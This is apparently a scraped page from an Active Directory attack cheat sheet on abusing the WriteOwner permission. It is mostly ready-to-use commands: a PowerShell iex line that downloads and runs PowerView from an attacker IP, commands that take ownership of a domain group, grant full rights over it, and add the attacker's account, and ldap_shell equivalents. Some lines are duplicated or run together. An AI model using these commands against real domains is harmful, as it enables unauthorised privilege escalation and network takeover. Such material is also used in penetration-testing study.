WriteOwner
Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.
Last updated
Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.
Last updated
iex(new-object net.webclient).downloadstring('http://10.10.xxpowers.xx/PowerView.ps1')$SecPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\JDgodd', $SecPassword)Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Cred $cred
Add-DomainObjectAcl -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd -Cred $cred -Rights AllAdd-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Cred $credldap_shell domain.local/JDgodd:Password1 -dc-ip 10.10.xx.xxset_genericall "CORE STAFF" "JDGODD"
add_user_to_group "<username> OR JDGODD" "CORE STAFF"